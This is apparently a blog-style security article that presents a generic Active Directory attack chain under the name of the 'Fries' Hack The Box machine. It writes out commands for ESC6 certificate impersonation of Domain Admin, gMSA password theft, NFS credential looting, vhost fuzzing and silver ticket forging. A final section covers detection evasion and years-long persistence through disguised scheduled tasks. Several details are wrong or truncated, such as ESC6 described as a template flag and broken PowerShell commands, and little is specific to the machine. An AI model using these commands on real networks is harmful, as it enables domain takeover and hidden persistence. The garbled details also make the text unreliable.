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Introduction:
Active Directory (AD) remains the cornerstone of enterprise identity management, but a single misconfiguration in its complex ecosystem can serve as a master key for attackers. The recent compromise of the “Fries” Hack The Box machine demonstrates how advanced adversaries chain together vulnerabilities in Certificate Services (ESC6), Group Managed Service Accounts (gMSA), and network file shares (NFS) to achieve complete domain dominance. This attack path represents a critical escalation vector that every security professional must understand.
Learning Objectives:
- Master the exploitation techniques for Active Directory Certificate Services abuse, specifically ESC6
- Understand how to enumerate and compromise Group Managed Service Accounts (gMSA) for privilege escalation
- Learn to chain NFS mounting and vhost enumeration with certificate-based authentication for lateral movement
You Should Know:
1. Enumerating Active Directory Certificate Services for ESC6
The ESC6 vulnerability represents a critical misconfiguration in AD CS where the Certificate Authority (CA) has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing attackers to request certificates for any domain principal. This bypasses normal certificate validation and becomes a golden ticket for persistence and lateral movement.
Step-by-step guide explaining what this does and how to use it:
First, enumerate the Certificate Authority configuration using Certify:
Enumerate Certificate Authorities and templates Certify.exe cas Certify.exe find /vulnerable Linux alternative with certipy certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.10
The critical finding will be templates with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing SAN impersonation. Once identified, request a certificate for a privileged account:
Request certificate with SAN impersonation Certify.exe request /ca:CA01-DC01.domain.com\Domain-CA /template:VulnerableTemplate /altname:DomainAdmin Using certipy certipy req -u [email protected] -p Password123 -dc-ip 10.10.10.10 -ca Domain-CA -template VulnerableTemplate -alt DomainAdmin
This generates a .pfx certificate that can be used for Kerberos authentication, effectively granting the privileges of the impersonated account.
2. Compromising Group Managed Service Accounts (gMSA)
Group Managed Service Accounts provide automatic password management for services, but their retrieved password hashes can be exploited for lateral movement when proper access controls are misconfigured.
Step-by-step guide explaining what this does and how to use it:
Enumerate gMSA accounts and check if your current context has read access to their password:
PowerView gMSA enumeration
Get-ADServiceAccount -Filter -Properties
Get-DomainGMSA -Properties
Check gMSA password access
Get-DomainGMSA | Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "ReadProperty"}
Once you identify accessible gMSA accounts, retrieve the password blob:
Retrieve gMSA password $gmsa = Get-ADServiceAccount -Identity 'SVC_GMSA' -Properties 'msDS-ManagedPassword' $mp = $gmsa.'msDS-ManagedPassword' $password = ConvertFrom-ADManagedPasswordBlob $mp
Convert the managed password blob to usable credential material and use it for service authentication or pass-the-hash attacks to expand your foothold.
- NFS Mounting and vHost Enumeration for Lateral Movement
Network File System (NFS) shares often contain sensitive configuration files, credentials, or application data that can be mounted from Linux attack hosts and exploited for further access.
Step-by-step guide explaining what this does and how to use it:
First, enumerate available NFS shares from your compromised position:
NFS share enumeration showmount -e 10.10.10.10 nmap -p 111 --script nfs-showmount 10.10.10.10 rpcinfo -p 10.10.10.10
Mount accessible shares to your local system:
Mount NFS share locally mkdir /mnt/nfs_share mount -t nfs 10.10.10.10:/share /mnt/nfs_share -o nolock Browse mounted content ls -la /mnt/nfs_share/ find /mnt/nfs_share/ -name ".config" -o -name ".xml" -o -name ".txt"
Search for connection strings, API keys, SSH keys, or configuration files that could provide access to additional systems or elevated privileges.
4. Virtual Host (vHost) Discovery and Subdomain Takeover
Virtual hosting allows multiple websites on a single IP, and discovering these hidden vHosts can reveal development, staging, or administrative portals with weaker security controls.
Step-by-step guide explaining what this does and how to use it:
Perform vHost enumeration using wordlists and HTTP Host header manipulation:
vHost enumeration with ffuf ffuf -u http://target.com -H "Host: FUZZ.target.com" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 4242 Using gobuster with vhost mode gobuster vhost -u http://target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
For discovered vHosts, check for subdomain takeover opportunities or test for default credentials on administrative interfaces:
Test common endpoints on discovered vHosts curl -H "Host: admin.internal.target.com" http://target.com/login curl -H "Host: dev.internal.target.com" http://target.com/phpinfo.php
Exploit misconfigured virtual hosts to access internal applications, developer tools, or administrative panels that weren’t intended for external exposure.
5. Certificate Authentication and Silver Ticket Generation
The compromised certificates from ESC6 exploitation can be converted to Kerberos tickets for persistent, stealthy domain access that bypasses traditional detection mechanisms.
Step-by-step guide explaining what this does and how to use it:
Convert your obtained .pfx certificate to a Kerberos ticket:
Convert PFX to CCACHE ticket python3 gettgt.py -pfx-base64 (base64 encoded pfx) domain.com/targetuser target.ccache Set ticket for use export KRB5CCNAME=target.ccache Use ticket with impacket tools psexec.py -k -no-pass domain.com/[email protected]
For silver ticket attacks targeting specific services:
Create silver ticket for CIFS service ticketer.py -nthash (target hash) -domain domain.com -domain-sid (domain SID) -spn cifs/targetserver.domain.com -user-id 500 administrator Use silver ticket export KRB5CCNAME=administrator.ccache smbclient.py -k -no-pass //targetserver.domain.com/share
This provides persistent access that’s difficult to detect since it doesn’t touch traditional authentication channels monitored by security tools.
6. Privilege Escalation Through Certificate Template Modifications
Beyond ESC6, certificate templates themselves can be modified if improper permissions are granted, allowing attackers to create their own malicious templates with elevated privileges.
Step-by-step guide explaining what this does and how to use it:
Enumerate certificate template permissions using PowerView and BloodHound:
Enumerate certificate template permissions Get-ADObject -LDAPFilter '(objectclass=pkicertificatetemplate)' -SearchBase 'CN=Configuration,DC=domain,DC=com' -Properties | Select-Object Name,DistinguishedName Check for write permissions (Get-Acl 'CN=TemplateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com').Access
If write permissions are found, modify the template to allow enrollment for privileged accounts:
Using PSPKI PowerShell module Get-CertificateTemplate -Name 'VulnerableTemplate' | Set-CertificateTemplate -EnrollmentFlags 'AuthorizedSignature' -Publish
Request a certificate using the modified template, then use it for authentication to achieve escalated privileges within the domain.
7. Detection Evasion and Persistence Techniques
Advanced adversaries use certificate-based persistence because it’s difficult to detect and isn’t affected by regular password rotation policies, making it an ideal long-term access method.
Step-by-step guide explaining what this does and how to use it:
Establish certificate-based persistence that mimics legitimate administrative activity:
Create certificate persistence with extended validity Certify.exe request /ca:CA01-DC01.domain.com\Domain-CA /template:User /altname:LegitimateAdmin /years:5 Convert to keytab for scripted authentication ktutil add_entry -password -p [email protected] -k 1 -e aes256-cts-hmac-sha1-96 wkt persistence.keytab
Use scheduled tasks or systemd timers with the certificate for periodic check-ins:
Linux persistence with systemd timer and certificate auth systemctl --user enable cert-persistence.timer Windows scheduled task with cert-based authentication schtasks /create /tn "Certificate Update" /tr "C:\tools\checkin.exe" /sc weekly /ru "DOMAIN\LegitimateUser"
Monitor for detection opportunities while maintaining access through certificate renewal cycles that provide years of persistent domain access.
What Undercode Say:
- Certificate-based attacks represent the new frontier in AD exploitation, offering stealth persistence that bypasses traditional credential rotation
- The chaining of ESC6 with gMSA and NFS vulnerabilities demonstrates how defense-in-depth failures create catastrophic compromise paths
The Fries HTB machine exemplifies a critical trend in modern AD attacks: the shift from traditional credential theft to certificate abuse. As organizations harden against mimikatz and pass-the-hash, attackers are pivoting to AD CS vulnerabilities that provide longer-lasting, harder-to-detect access. The ESC6 misconfiguration is particularly dangerous because it allows impersonation of any domain account without requiring initial privileged access. Combined with gMSA compromise and network share enumeration, this creates a perfect storm where a single low-privilege foothold can escalate to domain admin through multiple parallel paths. Defenders must implement certificate auditing, monitor for anomalous certificate requests, and restrict gMSA permissions with the same rigor applied to traditional service accounts.
Prediction:
Within two years, certificate-based AD attacks will surpass password-based techniques as the primary method for enterprise network penetration. As cloud-hybrid environments become standard, misconfigured certificate trust relationships between on-prem AD and cloud services will create new attack surfaces. Defensive tools will evolve to focus on certificate anomaly detection, and mandatory certificate transparency logging for enterprise CAs will become a standard security control. Organizations that fail to implement certificate lifecycle management and monitoring will experience rampant undetectable breaches.
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IT/Security Reporter URL:
Reported By: Eduardo Cochella – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
